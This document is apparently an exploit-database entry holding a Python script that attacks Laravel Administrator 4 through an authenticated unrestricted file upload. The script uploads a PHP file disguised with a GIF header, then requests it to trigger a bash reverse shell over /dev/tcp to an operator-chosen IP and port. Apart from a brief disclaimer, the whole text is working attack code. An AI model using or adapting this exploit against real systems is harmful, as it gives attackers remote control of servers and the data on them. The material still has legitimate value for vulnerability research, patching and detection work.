Exploits / Vulnerability Discovered : 2020-11-27 |
Type : webapps |
Platform : php
This exploit / vulnerability Laravel administrator 4 unrestricted file upload (authenticated) is for educational purposes only and if it is used you will do on your own risk!
import requests,json,traceback
from requests.auth import HTTPBasicAuth
#Parameters to be set up (ENTER YOUR VALUES)
#===========================================
# Listener IP and port
ip = ""
port = ""
#Admin credentials
user = ""
password = ""
#URLs of the web application
domain = "" # For example "https://www.example.com"
login_url = "" # For example "/user/login"
fileupload_url = "" # For example "/admin/categories/image/file_upload"
uploaded_files_url = "" # For example "/categories/images"
#Reverse shell payload (DO NOT MODIFY THIS SECTION)
#==================================================
#GIF file header
shell = "GIF89a\r\n"
#php reverse shell
shell += "\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/" + ip + "/" + port + " 0\x3e&1\'\");?\x3e\r\n"
with requests.Session() as s:
try:
print("\n[+] Logging into the panel")
s.post(domain + login_url, data={'email':user,'password':password,'remember': '1'})
print("[+] Uploading the malicious file")
r = s.post(domain + fileupload_url, files={'name':'Picture.png','file': ('test.php',shell)})
print("[+] Response text:")
#print(r.text)
shell_file = (json.loads(r.text))["filename"]
print("[+] Name of uploaded file: " + shell_file)
print("\n[+] Executing the reverse shell on " + ip + ":" + port + "...")
r = s.get(domain + uploaded_files_url + '/' + shell_file)
except Exception as e:
print(str(traceback.format_exc()))